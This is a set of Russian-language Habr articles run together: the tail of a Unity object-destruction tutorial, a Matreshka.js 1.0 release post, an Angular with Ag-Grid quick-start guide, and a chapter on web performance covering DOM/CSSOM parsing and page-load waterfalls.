using System.Collections.Generic;
using UnityEngine;
public class FragmentSplit : MonoBehaviour {
public bool isdead = false; //переменная которая обозначает разрушился объект, или еще нет
public float timeRemaining = 100;//время после которого должен удалится объект после разрушения (сделано во благо оптимизации)
void Start()
{
GetComponent().isKinematic = true;//включаем у риджидбоди синематик дабы наш объект не разрушался раньше времени
}
void OnCollisionEnter(Collision collision)//проверяем на объект на коллизию
{
GetComponent().isKinematic = false;//и если он с чем-то столкнулся, отключаем синематик тем самым разрушая его
isdead = true;//делаем переменную положительной, чтобы скрипт смог понять что обьект уже "отработан", и его можно удалить
}
void Update()
{
if (isdead)//если переменная положительная, то запускаем таймер
{
timeRemaining -= Time.deltaTime;//сам таймер
if (timeRemaining < 0) //и если время таймера меньше нуля, то
{
Destroy (gameObject);//просто удаляем объект
}
}
}
}
```
Теперь последний раз выделяем все объекты в списке, нажимаем на АddComponent, и добавляем наш скрипт
Поднимаем нашу сферу над кубом, и включаем проект.
Как видим, все прекрасно работает, куб ломается, наша сфера куда-то катится.
На этом собственно все, да, возможно вы скажете что можно сделать более плавное удаление, чтобы кусочки исчезали, а не вот так вот топорно, и всякое такое.
Я лишь вам отвечу что я просто демонстрировал работу скрипта, и не вдавался в подробности того, как и когда оно будет удалять эти «обломки», а просто показал что можно и так, и ничего сложного в этом нет абсолютно.
Я не спорю что ассеты от Unity(или других разработчиков) будут лучше моих скриптов на пару строчек, но все же.
Я не делал эту статью с упором на то что меня будут читать люди знающие и понимающие Unity и язык, которые могут написать скрипт с более точечным контролем всего что происходит с объектом на сцене, я делал статью для еще обучающихся и новичков.
Не стану говорить что я хорошо и досконально знаю язык, но и не первый день в этом, в общем, на этом у меня все, надеюсь что помог кому-то, хорошего вам кода друзья!.. | https://habr.com/ru/post/518420/ | null | ru | null |
# (Архив) Вышла первая версия фреймворка Matreshka.js
[](http://matreshka.io/)
[Репозиторий на Github](https://github.com/finom/matreshka)
Всем привет! Спешу сообщить радостную новость. Наконец, вышла первая (1.0) версия фреймворка Матрешка. В этом посте я расскажу о самых важных изменениях во фреймфорке, о новом сайте и русскоязычной документации.
Напомню, Матрешка — JavaScript фреймворк для создания одностраничных приложений, соблюдающий несколько важных принципов:
* Никакой логики в HTML
* Минимум сущностей
* Произвольная архитектура
Матрешка реализует простой синтаксис двустороннего связывания данных и активно использует акцессоры (геттеры и сеттеры).
```
this.bindNode( 'x', 'input.my-node' );
this.on( 'change:x', function() {
alert( this.x );
});
this.x = 'Wow!';
```
### В первую очередь, о важных изменениях во фреймворке
**Последняя волна переименований.** Самое важное из них: `bindElement` из-за длинного имени (11 символов) был переименован в [bindNode](http://ru.matreshka.io/#Matreshka-bindNode) (8 символов).
**Поддержка всех без исключения полей ввода, включая элементы из спецификации HTML5**. [bindNode](http://ru.matreshka.io/#Matreshka-bindNode) больше не нуждается в третьем аргументе, в случае, если программист желает связать значение свойства объекта с каким-нибудь ````
.
this.bindNode( 'x', '.my-input' );
```
**Поддержка цикла `for..of` для [Matreshka.Array](http://ru.matreshka.io/#Matreshka.Array) и [Matreshka.Object](http://ru.matreshka.io/#Matreshka.Object).** Если ваше приложение не нуждается в поддержке Internet Explorer либо если вы используете транспилер (например, [Babel](http://babeljs.io/)), можно смело пробовать новый, крутой синтаксис циклов из ECMAScript 6.
```
for(let item of this) {
...
}
```
**`__this__` переименован в `sandbox`.** Теперь ключ, отвечающий за привязку песочницы, так и называется “песочница”.
```
this.bindNode( 'sandbox', '.app' );
```
**Появился новый кастомный селектор `‘:sandbox’.`** Раньше нужно было использовать не самый удобный синтаксис, если требовалось выбрать песочницу или элемент внутри песочницы.
```
this.bindNode( 'x', this.select( '.my-x-node' ) );
```
Теперь это можно сделать намного элегантнее:
```
this.bindNode( 'x', ':sandbox .my-x-node' );
```
**Появился новый селектор `‘:bound(KEY)’`.** В приложениях часто нужно привязывать элементы внутри других привязанных элементов, дабы не дублировать селекторы. Вот так это делалось раньше:
```
// Vanilla
this.bindNode( 'y', this.bound( 'x' ).querySelector( '.my-y-node' ) );
```
Или так:
```
// jQuery
this.bindNode( 'y', this.$bound( 'x' ).find( '.my-y-node' ) );
```
Теперь то же самое можно сделать так:
```
this.bindNode( 'y', ':bound(x) .my-y-node' );
```
**Полное совпадение методов [Matreshka.Array](http://ru.matreshka.io/#Matreshka.Array) со встроенными методами `Array`.** По многочисленным просьбам `push` и `unshift` теперь возвращают длину массива, вместо ссылки на массив, как и в оригинальном `Array.prototype`. Единственный метод, который до сих пор отличается от встроенного - это `forEach`. Он возвращает “себя” вместо `undefined`.
**Новые методы `Matreshka.Array`.** При разработке приложений на базе Матрешки иногда требуется передать какие-нибудь данные в обработчик события изменения массива.
Так как все методы встроенного `Array` работают аналогично встроенным, у нас нет возможности передать еще один аргумент при вызове этих методов.
```
// каждый аргумент метода вставляется в массив
this.push( 1, 2, 3 );
```
Теперь каждый метод, изменяющий массив и позаимствованный из оригинального `Array.prototype` имеет двойника с именем [МЕТОД\_](http://ru.matreshka.io/#Matreshka.Array-METHOD_). Нижнее подчеркивание указывает на то, что последним аргументом являются произвольные данные для обработчика события или служебные флаги.
```
this.on( 'modify', function( evt ) {
console.log( evt.customData );
});
this.push_( 1, 2, 3, {
customData: 42
});
```
Если требуется вставить элемент, не вызывая обработчик, нужно передать специальный флаг `silent: true` в объект события.
```
this.push_( 1, 2, 3, {
silent: true
});
```
Как следствие, методы `silentPush, silentPop, silentSplice`… были удалены из фреймворка из-за отсутствия в них необходимости.
**Поддержка [Babel](http://babeljs.io/).** После исправления единственного бага, связанного со строгим режимом, Матрешка стала доступна для использования вместе с компилятором Babel. Кроме общих синтаксических сладостей, Матрешка поддерживает циклы `for..of`, о которых писалось выше, и наследование с помощью классов из ECMAScript 6 (благодаря прототипному наследованию, используемого Матрешкой с первого коммита на Github), вместо наследования функцией [Class](http://ru.matreshka.io/#Class), которая входит в комплект Матрешки.
Обратите внимание. Если приложение нуждается в поддержке Internet Explorer 8, использование функции `Class` обязательно. Функция использует специальные хаки, которые включают геттеры и сеттеры для объектов-экземпляров Матрешки.
Как видите, было решено не отказываться от поддержки IE8. Код, отвечающий за работу фреймворка в восьмом “осле” не требует много места и слабо влияет на производительность.
Об остальных изменениях [можно узнать на сайте](http://ru.matreshka.io/#whats-new).
### Обновленная документация
Как показывает практика, камнем преткновения для любой библиотеки или фреймворка является документация. Скажем честно, документация, на момент выходя нулевых версий, была далеко не идеальной. Вещи, типа [itemRenderer](http://ru.matreshka.io/#Matreshka.Array-itemRenderer), не были описаны вовсе (был приведен малопонятный пример и более ничего).
Теперь в документации описаны все без исключения свойства и методы, а текст, кроме [английского](http://matreshka.io/), доступен и на [на русском языке](http://ru.matreshka.io/).
#### С чего начинать?
Пытаясь изучить новый инструмент, включающий в себя много деталей, часто не понимаешь, с чего начать своё обучение. Этим грешит большинство фреймворков: огромное количество свойств, методов, функций, директив... может расстроить или вовсе отпугнуть новичка.
Эта проблема была решена очень просто: самые важные методы и свойства помечены красным флажком . Те свойства и методы, которые не имеют такого флажка - необязятельны к изучению. Например, крутой метод [linkProps](http://ru.matreshka.io/#Matreshka-linkProps), добавляющий зависимость одного свойства от других, можно вовсе не использовать, ограничившись прописанным вручную обработчиком события.
#### Адаптивная верстка и чтение оффлайн
Документацию теперь удобно использовать не только с настольных компьютеров и ноутбуков, но и с мобильных телефонов и планшетов. Сайт работает оффлайн, благодаря использованию [HTML5 cache](http://habrahabr.ru/post/71939/). Эта страница теперь может стать полезным чтивом, в том числе, в дороге или при отсутствии интернета.
#### Репорт об опечатках
Сообщить об опечатке или ошибке можно было и раньше, но теперь у окна опечатки появился дизайн :) Можно выбрать сомнительный текст на сайте и нажать Ctrl+Enter. После этого откроется модальное окно с формой.
Подробнее о том, как сделать окно опечаток и ошибок на сайте, используя Google Forms, [можно прочесть здесь](http://habrahabr.ru/post/234279/#typo).
#### Комментарии прямо в документации
У каждого элемента документации (класс, метод, свойство) есть кнопка “задать вопрос”, которая вызывает [Muut Comments](https://muut.com/) (почему, расскажу ниже). Вам не нужно искать соответствующий форум или создавать тикет на Github, можно задать вопрос по части документации прямо из самой документации.
В первых двух версиях использовался [Disqus](https://disqus.com/), а, затем, [Facebook Comments](https://developers.facebook.com/docs/plugins/comments). Обе системы, к сожалению, не оправдали возложенных на них ожиданий.
Disqus постоянно путает идентификаторы и адреса страниц, комментарии появляются не там, где нужно. Админпанель не позволяет удалять обсуждения, а изменение ссылок вручную не помогает. Это старая проблема Disquss, которую решить пока нельзя (разработчики рекомендуют убедиться в правильности объявленных переменных, которые часто просто-напросто игнорируются системой). Причина, скорее всего, кроется в том, что обсуждения находятся на одной странице, а Disquss с этим испытывает огромные проблемы. Как следствие, было решено перейти на другое бесплатное решение, от которого тоже пришлось отказаться.
Facebook Comments, на первый взгляд, показался неплохим решением задачи. Разработчик -- многомиллиардная компания; многие зарегистрированы в этой соцсети ; не нужно логиниться, чтобы написать комментарий; идентификаторы не путаются… Проблема одна: уведомления. Facebook Comments не умеет сообщать о новых комментариях модераторам (!). Для обхода был написан костыль, использующий Google Forms в качестве системы уведомлений. Но это полбеды. Самое неприятное - уведомления об ответах на комментарий совершенно неинформативны.
*Упомянул в комментарии… В каком? Где?*
В общем, пришлось покопаться еще…
[IntenseDebate](http://intensedebate.com/)
* Саппорт не отвечает на вопросы.
* Сам виджет выглядит устаревшим.
* Создается впечатление, что проект больше не поддерживается.
[Cackle](http://cackle.ru/)
* Комментарии для каждого сайта стоят 500 рублей/год. Так как документации две, прийдется раскошелиться на два пакета. Если появится еще одна версия документации прийдется снова достать кошелек.
* Название. Очень тяжело себя убедить пользоваться чем-то с названием “какл”.
[SolidOpinion](http://solidopinion.com/)
* Саппорт не отвечает на вопросы.
* Проект выглядит заброшенным.
В итоге, самым адекватным (но не идальным) решением оказался неизвестный мне ранее Muut. У них есть бесплатная подписка, хороший саппорт, нет проблем с идентификаторами (опять я о них). Единственный минус - всё те же уведомления об ответах. Они приходят только тогда, когда у подписавшегося пользователя не открыто ни одной вкладки с Muut. Кроме этого, уведомления для админа отсутствуют (хотя заявлены, даже флажок есть в настройках). Приходится подписываться на все комментарии вручную и, на всякий случай, следить за новыми комментариям, заходя в админку. Посмотрим, что из этого выйдет. Пока что, пытаюсь бороться с саппортом, чтоб исправили некоторые неприятные баги.
#### Всё подряд или по одному? \*
*\* Классу, методу, свойству*
Новый сайт Матрешки был создан после взвешивания всех плюсов и минусов документаций к другим популярным и не очень популярным фреймворкам. Первым вопросом, который требовалось решить был выбор между двумя подходами в структурировании документации: размещение всех материалов на одной странице, либо же разбиение статей на отдельные страницы. Решением стал переключатель режимов (в верхней части меню есть кнопки “Все подряд” и “По одному”), оставляющий выбор на усмотрение посетителя.
#### "Материальный" дизайн
На сайте используется CSS фреймворк [Materialize](http://materializecss.com/). К сожалению, все анимации в этом фреймворке основывались на манипуляциях с DOM, которые не благотворно влияют на производительность страницы (особенно на мобильных устройствах), поэтому, был использован только CSS и только необходимые части. Код, отвечающий за анимации (например, за выезжающее меню) пришлось переписать. В следующих версиях Materialize, надеюсь, исправят большинство подобных недоразумений.
### Другие новости
* Вся документация была вынесена из js файлов в [отдельный репозиторий](https://github.com/finom/matreshka_docs). Теперь .jsdoc файлы можно подключить в IDE отдельно.
* Обновлен код TodoMVC и создана русскоязычная версия документации к коду, а исходник обрел [собственный репозиторий](https://github.com/finom/matreshka_todomvc).
* Исходник к сайту и и генератору документации [поменял своё местоположение](https://github.com/finom/matreshka_website).
* Матрешка теперь размещена на двух CDN: [cdnjs](https://cdnjs.com/libraries/matreshka) и [jsdelivr](http://www.jsdelivr.com/#!matreshka) (очень рекомендую этот CDN разработчикам библиотек и других скриптов, и спасибо [jimaek](https://habrahabr.ru/users/jimaek/) за помощь и быструю реакцию на вопросы).
Отдельное спасибо [designiac](https://habrahabr.ru/users/designiac/), который разработал новый логотип и принимал участие в создании сайта и [Rendol](https://habrahabr.ru/users/rendol/), который помогает развивать проект, внося свои идеи и сообщая о неочевидных проблемах.
Следите за новостями в блоге. В среду на Хабре выйдет краткий туториал к Матрешке.
Спасибо за внимание. Всем добра.` | https://habr.com/ru/post/253909/ | null | ru | null |
# Быстрая разработка приложения на Angular + Ag-Grid
В один из дней как обычно попивая кофе, мне приходит сообщение в Skype о том что нужно в кратчайшие сроки сделать приложение с нехитрым функционалом. Нужно было иметь таблицу с сортировкой и пагинацией, возможность фильтровать по слову, дате и.т.п. Так же иметь страницу с информацией о выбранном элементе из таблицы.
Имея на руках такое тз, было решено использовать последний Angular в связке с Ag-Grid, что бы не тратить драгоценное время.
Начинается все довольно стандартно, установка и создание стандартного Angular приложения:
Устанавливаем сам Angular
```
npm install -g @angular/cli
```
Создаем новый проект
```
ng new my-app
```
И можем запускать
```
cd my-appng serve --open
```
Все, ничего нового или сложного здесь нет. Вся процедура занимает от силы 20 минут и мы уже имеем работающее приложение. Можем начинать навешивать на него то что нам нужно.
Начинаем с простого.
**Bootstrap.** Почему он? Просто, быстро эффективно. В рамках той задачи которая есть у нас, нам его вполне хватит. По сути это несколько полей для ввода, пара кнопок разных по цвету и все. Ставим третью версию вместе с jQuey:
```
$ npm install bootstrap@3 jquery --save
```
Затем отправляемся в файл **angular-cli.json** и добавляем в него:
```
"styles": [
"styles.css",
"../node_modules/bootstrap/dist/css/bootstrap.min.css"
],
"scripts": [
"../node_modules/jquery/dist/jquery.min.js",
"../node_modules/bootstrap/dist/js/bootstrap.min.js"
],
```
И готово, отныне на ваших страницах Bootstrap будет работать как нужно. А мы продолжаем.
**Ag-Grid** Для себя его выбрал, так как есть опыт работы с этим компонентом, он достаточно гибкий, и как-никак лучше подходит для нашей задачи. Для полноценного его использование ставим:
```
npm install ag-grid-angular
npm install ag-grid
```
Затем идем в app.module.ts и импортируем нужные нам компоненты:
```
import {AgGridModule} from "ag-grid-angular/main";
```
Установленный нами **install ag-grid** понадобиться нам чуть позже. Так же добавляем в наш файл
```
imports: [
AgGridModule.withComponents([
LinkComponent
])
],
```
Хочу обратить внимание на **AgGridModule.withComponents** это позволит нам добавлять и использовать написанные нами компоненты в Ag-Grid. **LinkComponent** который там есть, это наш компонент для отрисовки данных в виде ссылки. Позже вернемся к нему.
Так же создаем папки Components, Services, View-Models, в них свои компоненты, сервисы для них и подключаем все это дело, думаю здесь никаких вопросов и проблем быть не должно. Вернемся лучше к нашему Ag-Grid.
В компоненте где используется Ag-Grid подключаем:
```
import { GridOptions, IDatasource, IGetRowsParams, ColDef, ColGroupDef, NodeChildDetails, RowNode } from "ag-grid";
import { LinkComponent } from '../example/example';
```
На данный момент мы конечно не будем использовать все подключеные компоненты грида, но на будущее они мне нужны. Вы же естественно можете что то убрать или добавить по желанию. Наш компонент для ссылок так же подключаем.
Настало время начинать создать грид. В целом у меня получилось вот так:
```
this.gridOptions = {};
this.gridOptions.columnDefs = [
{
headerName: "Example1",
field: "Example1",
},
{
headerName: "Example2",
field: "Example2",
cellRendererFramework: LinkComponent,
},
{
headerName: "Example3",
field: "Example3",
}
];
this.ExampleService.getExamplesFields().then(response => {
this.examples = response;
this.gridOptions.api.setRowData(this.examples);
});
}
```
А в html нашего компонента грид подключаем вот так:
```
```
Но давайте по порядку. Для того что бы колонка была и заполнилась нужными нам данными, необходим минимум, это ее название и fieldid. Если обратите внимание на **cellRendererFramework** во второй колонке, то это и есть тот самый параметр который позволяет нам отрисовывать данные в колонке так как мы захотим. Давайте посмотрим как устроен этот компонент внутри.
```
import { Component } from "@angular/core";
@Component({
selector: 'link-component',
templateUrl: './link-component.component.html'
})
export class LinkComponent {
public params: any;
agInit(params: any): void {
this.params = params;
}
}
```
Вот и все, в **params** у нас хранится содержимое нужной ячейки. Если быть более конкретным то в params.value. В params.data мы можем увидеть все данные выбранной строки в гриде, нам например понадобится exampleID, для того что бы переходить на следующую страницу с нужным ID записи. Шаблон этого компонента выглядит вот так:
```
{{ params.value }}
```
Тут мы пойдем немного дальше и поговорим о роутинге, но пока о нашей ссылке. Как мы видим, нажатие на данную строку будет отправлять нас на страничку выбранной записи, добавляя ее ID в линк, благодаря к чему впоследствии мы сможем обратиться к серверу который вернет нам нужную запись.
Роутинг я сделал достаточно просто.
```
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';
import { ExamplesView } from './components/Examples/Examples.component';
import { AllExamples } from './components/Examples/Examplest.component';
const appRoutes: Routes = [
{
path: 'Examples/:id', component: ExamplesView
},
{
path: '', component: AllExamples
},
];
@NgModule({
imports: [
RouterModule.forRoot(appRoutes, { enableTracing: true })
],
exports: [
RouterModule
],
providers: [
]
})
export class AppRoutingModule { }
```
Это все что нам нужно на данный момент. Думаю здесь заострять внимание особо не нужно. В следующих статьях более подробно заострим внимание.
Вернемся к нашему компоненту с гридом. Как рисовать колонки, и менять отображение данных в них мы разобрались. Теперь нужно заполнить грид этими данными. Тут все тоже достаточно просто:
```
this.ExampleService.getExamplesFields().then(response => {
this.examples = response;
this.gridOptions.api.setRowData(this.examples);
});
```
Обращаемся к нашему сервису, который вернет нам json с данными. **this.examples** у нас **examples: examplesViewModel[];** наша view модель выглядит скажем так:
```
export class FeedbackFormData
{
public Example1: string;
public Example2: string;
public Example3: number;
}
```
Ее мы так же импортируем в наш компонент. И наши fieldid в гриде должны соответствовать тому что есть в нашей модели. И вуаля, наши данные оказываются там где нам нужно. В последствии например если при наличии серверной фильтрации, мы хотим обновить данные в гриде, сделать это можем так:
```
filter() {
this.exampleFilter = this.datePipe.transform(this.maxDate, 'yyyy-MM-dd');
this.HomeService.getPeriodForm(this.exampleFilter, this.search).then(response => {
this.examples= response;
this.gridOptions.api.setRowData(this.examples);
})
}
```
И данные в нашем гриде обновятся. Ну а о второй странице говорить особо нечего. Получаем данные о записи с нужным id и работаем с ними. Вот так вот буквально за пару часов можно сделать простенькое приложение, с гридом и блекджеком. В следующей статье подробнее поговорим о функционале грида и что с ним можно делать, наш компонент рисующий ссылку это только самая вершина айсберга. Так же расскажу о реализации пагинации и сортировки в гриде.
Спасибо. | https://habr.com/ru/post/339232/ | null | ru | null |
# Пример веб-производительности
В любой сложной системе процесс оптимизации по большей части состоит из распутывания связей между различными слоями системы, каждый из которых обладает собственным набором ограничений. До сих пор мы рассматривали ряд отдельных сетевых компонентов детально — различные физические средства и протоколы передачи данных. Сейчас мы можем обратить наше внимание на более широкую, всеобъемлющую картину оптимизации веб-производительности:
* влияние задержки и пропускной способности на веб-производительность;
* ограничения, которые протокол TCP накладывает на HTTP;
* особенности и недостатки самого протокола HTTP;
* тенденции развития веб-приложений и требования к производительности;
* ограничения браузеров и возможность оптимизации.
Оптимизация связей между различными слоями, уровнями системы мало отличается от процесса решения системы уравнений. Каждое уравнение зависит от других и при этом влияет на количество возможных решений для всей системы в целом. Стоит отметить, что нет никаких строго закрепленных рекомендации или готовых решений. Отдельные компоненты продолжают развиваться: браузеры становятся все быстрее, изменяются профили подключения пользователей, веб-приложения продолжают меняться в содержании, усложняются задачи, которые ставятся.
Поэтому, прежде чем мы углубимся в рассмотрение и анализ передового современного опыта, важно сделать шаг назад и определить, в чем проблема на самом деле: что такое современное веб-приложение, какие инструменты у нас есть, как мы измеряем веб-производительность, и какие части системы помогают и мешают нашему прогрессу.
#### Гипертекст, веб-страницы и веб-приложения
В результате эволюции Интернета за последние несколько десятилетий мы получили три разных подхода к представлению информации в сети:
* гипертекстовый документ.
* веб-страница с различными формами медиа-контента.
* интерактивное веб-приложение.
Следует признать, что конечному пользователю временами сложно увидеть границу между двумя последними подходами, но с точки зрения производительности, каждый из них требует разной методологии, оценки и определения производительности.
###### Гипертекстовые документы
Гипертекст лежит в основе всемирной паутины в виде обычного текста с некоторыми базовыми возможностями форматирования и поддержкой гиперссылок.
Сейчас это вряд ли покажется интересным, но гипертекст был чрезвычайно полезен для всемирной паутины, являлся предпосылкой ко всему тому, чем мы пользуемся в настоящее время.
###### Веб-страница
Рабочая группа HTML и разработчики первых браузеров постарались расширить возможности гипертекста и ввели поддержку медиа: изображения и звука. Результатом стала эпоха веб-страниц, отличают которую наличие развитых форм медиа-контента, визуально безупречного, но с малой долей интерактивности. Веб-страницы в этом мало чем отличаются от обычной печатной газетной страницы.
###### Веб-приложение
Добавление JavaScript, позднее введение поддержки революционных Dynamic HTML (DHTML) и AJAX встряхнуло индустрию и превратило простые веб-страницы в интерактивные веб-приложения, что позволило реагировать на запросы пользователя непосредственно в браузере. Все это проложило путь для первых реализаций полноценных браузерных приложений. Например, Outlook Web Access (c этого началась поддержка XMLHTTP в IE 5). Можно сказать, что это стало началом новой эры сложных связей между скриптами, каскадными таблицами стилей и разметки.
Сессия в HTTP 0.9 может быть представлена из запроса одного документа, которого достаточно для корректного отображения гипертекста. Один документ, одно TCP-подключение, затем сброс соединения. Исходя из вышеизложенного, нетрудно представить процесс оптимизации, он был очень прост. Все, что требовалось — это улучшить производительность одного HTTP-запроса для недолгого TCP-подключения.
Появление веб-страниц изменило эту формулу. От запроса/получения одного документа мы перешли к запросу документа и зависимых от него ресурсов. В HTTP 1.0 было введено понятие метаданных (заголовки), в HTTP 1.1 понятие расширяется с указанием различных директив, которые ориентированы на производительность. К примеру, строго определенное кеширование, KeepAlive и многое другое. Таким образом, мы получаем несколько одновременных TCP-подключений и ключевым показателем производительности document load time уже не является. Принято оценивать page load time, сокращенно PLT.
Наконец, веб-страницы постепенно превратились в веб-приложения, которые используют медиа-контент в качестве дополнения к основному содержимому. Если использовать комплексный подход, то вся система укладывается в следующую схему: html-разметка определяет скелет, основную структуру приложения, css определяет расположение элементов в рамках структуры, скрипты создают интерактивное приложение, которое реагирует на запросы пользователя и потенциально модифицирует разметку и стили для реализации этих запросов.
Следовательно, такой параметр, как page load time, который раньше имел определяющее значение при анализе веб-производительности, уже не является достаточным для оценки производительности. Мы больше не создаем просто веб-страниц, мы строим изменчивые, динамические, интерактивные веб-приложения.
Вместо PLT сейчас нас интересуют ответы на следующие вопросы:
* Каковы основные этапы в процессе загрузки приложения?
* Когда именно требуется первый запрос от пользователя?
* Какие именно запросы необходимы от пользователя?
* Какова скорость вовлечения и конверсии каждого пользователя?
Успех производительности и стратегии по оптимизации напрямую зависит от способности определить итератор для следования определенным критериями и ориентирам. Ничто не может сравниться с конкретным приложением знаний о специфике приложения, использованием результатов измерений, особенно если все это — одна из целей вашего бизнеса.
#### DOM, CSSOM, и JavaScript
Что именно мы подразумеваем под «сложной зависимостью скриптов, стилей и разметки» в современном веб-приложении? Чтобы ответить на этот вопрос, мы должны вникнуть в архитектуру браузера, понять, как разметка, стили и скрипты должны собраться вместе, чтобы нарисовать пиксели на экране.
*Процесс парсинга в браузере*
Парсинг HTML-документа — это процесс сборки в соответсвии с объектной моделью документа (DOM). Также мы часто забываем, что используются еще и объектная модель каскадных таблиц стилей (CSS Object Model), которая строится по заданным правилам стилей и ресурсов. Эти двое объединяются и создается так называемый render tree, которого достаточно браузеру для визуализации чего-либо. Пока все хорошо. Но, к сожалению, именно сейчас мы должны представить нашего лучшего друга и одновременно врага: JavaScript. Выполнение скрипта может выдать синхронный doc.write, что блокирует парсинг и сборку DOM. В точности также скрипты могут запросить вычисляемые стили любого объекта и это блокирует выполнение CSS. Сборка DOM и объектов CSSOM часто переплетается: сборка DOM невозможна пока JS выполняется и выполнение JS не может продолжаться пока доступен CSSOM. Производительность приложения, особенно первая загрузка и “время для рендеринга” напрямую зависит от того насколько проблема связей между разметкой, стилями и скриптами будет успешно решена.
Кстати, помните это популярное правило — сначала стили, после скрипты?
Теперь вы понимаете почему! Выполнение скрипта блокируется на уровне стилей, поэтому отдайте CSS пользователю так быстро, как только сможете.
#### Анатомия современного веб-приложения
Что же все-таки такое современное веб-приложение? [HTTP Archive](http://httparchive.org) может помочь нам ответить на этот вопрос. Этот проект отслеживает, как построен веб, периодически обращаясь к самым популярным сайтам (300 000 + от Alexa Top 1М) для записи и анализа количества ресурсов, которые используются, видов контента, заголовков и прочих метаданных.
В среднем для работы веб-приложения необходимо следующее:
* 90 запросов, от 15 хостов, с 1311 КБ общего объема.
* HTML: 10 запросов, 52 Кб
* Изображения: 55 запросов, 812 КБ
* JavaScript: 15 запросов, 216 Кб
* CSS: 5 запросов, 36 Кб
* Другое: 5 запросов, 195 Кб
Пока вы это читали цифры изменились и выросли еще, есть стабильная и надежная тенденция роста без признаков остановки. В среднем, современное веб-приложение занимает больше 1 Мб и состоит примерно из 100 разных ресурсов, которые поставляются более чем с 15 разных хостов!
*Средний размер и число запросов (HTTP Archive)*
В отличие от настольных решений, веб-приложение не требует отдельного процесса установки. Введите URL, нажмите Enter и готово! Однако, настольные приложения можно установить только однажды и забыть в дальнейшем о процессе установки. Когда веб-приложения “устанавливается” всякий раз, когда мы посещаем тот или иной адрес в сети — происходит загрузка ресурсов, сборка DOM и CSSOM, выполнение js-скриптов. Неудивительно, что веб-производительность — горячая и злободневная тема для обсуждения!
Сотни ресурсов, мегабайты данных, десятки хостов, все это должно объедениться в сотни миллисекунд и дать возможность мгновенной работы в Сети.
#### Скорость, производительность, и человеческое восприятие
Скорость и производительность всегда относительны. Каждое приложение диктует собственный набор требований к этому на основе бизнес-критериев, контекста, ожиданий пользователей и сложности задач, которые необходимо выполнить. Если мы говорим, что приложение должно реагировать и отвечать пользователю, мы должны планировать скорость реакции и работы приложения, учитывая специфику восприятия пользователя. Несмотря на то, что тепм жизни ускоряется, время нашей реакции остается неизменным. Это не зависит от типа приложения (онлайн или оффлайн) или устройства (десктоп, ноутбук или мобильные устройства).
Время и ожидание пользователя:
* 0-100 мс — мгновенно
* 100-300 мс — слегка уловимая задержка
* 300-1000 мс — ощутимая задержка
* 1000+ мс — пользователь переключает контекст на что-то еще
* 10 000+ мс — задача отклоняется
Мы можем назвать работу приложения мгновенной, если ответ на действие пользователя предоставляется в течение сотен миллисекунд. Через секунду и более внимание пользователя рассеивается и взаимодействие с приложением уже не столь плотное. Если проходит 10 секунд, а обратной связи не было, то чаще всего от задачи просто отказываются.
Сложите задержку сети из-за поиска DNS, открытия TCP-подключения и еще нескольких передач туда и обратно и многое, если не все, из указанных миллисекунд будет потрачено просто на сетевое взаимодействие. Не удивительно, что многие пользователи, особенно когда дело касается мобильной или беспроводной сети, требуют более высокую производительность веб-браузера!
###### Веб-производительность в долларах и центах
Скорость это особенность вашего приложения. Нет смысла улучшать показатели загрузки просто ради скорости. Исходя из исследований Google, Microsoft и Amazon можно сделать вывод, что все они переводят показатели веб-производительности в доллары и центы. Например, задержка 2000 мс на страницах Bing не позволила Microsoft получить доход с каждого пользователя больше на 4,3%!
Исследования более 160 организаций показывают, что дополнительная секунда времени загрузки приводит к потерям в 7% конверсии, 11% от просмотров страниц, удовлетворенность клиентов понижается на 16%.
Быстрый сайт дает больше просмотров, высокий уровень вовлеченности и конверсии. Но не верьте нам на слово! Лучше укрепите веру практическим путем, оцените как производительность вашего сайта влияет на конверсию.
#### Анализируем график загрузки данных: эффект водопада
Для полноты рассмотрения веб-производительности нельзя обойтись без упоминания графика загрузки данных. Более того, этому следует уделить внимание в силу того, что график загрузки является одним из самых точных инструментов для диагностики.
Современные браузеры предоставляют различные инструменты для анализа этого графика, но есть и прекрасные онлайн сервисы, которые позволяют оценить все моменты, например, [WebPageTest](http://www.webpagetest.org).
[WebPageTest.org](http://www.webpagetest.org) — это свободный проект, который предосталяет веб-сервис для тестирования производительности веб-страниц. Одна из особенностей в том, что тестирование происходит с нескольких локаций. В виртуальной машине запускается браузер, который может быть настроен для работы с рядом подключений. Результаты тестистирования доступны сразу в наглядном веб-интерфейсе, что делает WebPageTest незаменимым инструментом для веб-разработчика.
Для начала важно понять, что каждый HTTP-запрос состоит из нескольких отдельных стадий: поиск DNS, открытие TCP-подключения, TLS-обмен (опционально), отправка HTTP-запроса и затем загрузка контента.
*Компоненты HTTP–запроса (WebPageTest)*
Тщательный анализ показывает, что время загрузки главной страницы Yahoo! занимает 683 мс, что интересно — более 200 мс потрачено ожиданиeм сети, что составляет 30% от общего времени! Тем не менее, запрос документа – это только начало. Как мы знаем, современное веб-приложение нуждается и в других разнообразных ресурсах.
*График загрузки страницы Yahoo.com*
Для загрузки домашней страницы Yahoo! браузер запрашивает 52 ресурса с 30 разных хостов. Размер ресурсов составляет 486 KB в общей сложности.
График ресурсов позволяет сделать ряд важных выводов о структуре страницы и процессе обработки этой страницы браузером. Прежде всего, обратите внимание, пока браузер получает содержимое HTML-документа, отправляются новые HTTP-запросы: парсинг HTML осуществляется постепенно, позволяя браузеру быстрее найти необходимые ресурсы и параллельно с этим отправить новые запросы.
Таким образом, порядок запросов и получения контента определяется в значительной мере разметкой. Браузер может изменять приоритеты запросов, но дополнительное открытие каждого ресурса в документе создает на графике так называемый “эффект водопада”.
Далее, обратите внимание, что элемент “Начать рендеринг” (вертикальная зеленая линия) расположен гораздо раньше, чем заканчивается загрузка ресурсов. Это говорит о том, что визуализация содержимого начинается на раннем этапе, что позволяет пользователю быстро начать взаимодействовать со страницей, когда ее загрузка еще не завершена. К слову, отметка “Загрузка документа окончена” также расположена раньше, чем фактическое окончание загрузки всех ресурсов. Другими словами, пользователь можем заниматься своими делами, но загрузка дополнительного контента (к примеру реклама или виджеты) будет продолжаться в фоновом режиме.
Указанная выше разница между началом рендеринга, отметкой “документ загружен” и фактическим завершение загрузки контента, отлично свидетельствует о том, что необходимо верно понимать контекст при обсуждении метрик веб-производительности. Какой из этих трех показателей является правильным для отслеживания? Секрет в том, что однозначного ответа нет: каждое веб-приложение использует разные подходы к загрузке контента. Yahoo! решили оптимизировать страницы так, чтобы пользователь мог работать, не дожидаясь, когда загрузка будет завершена. При этом им пришлось уяснить точное понимание важности и приоритетности ресурсов, что может быть загружено раньше, а что позднее.
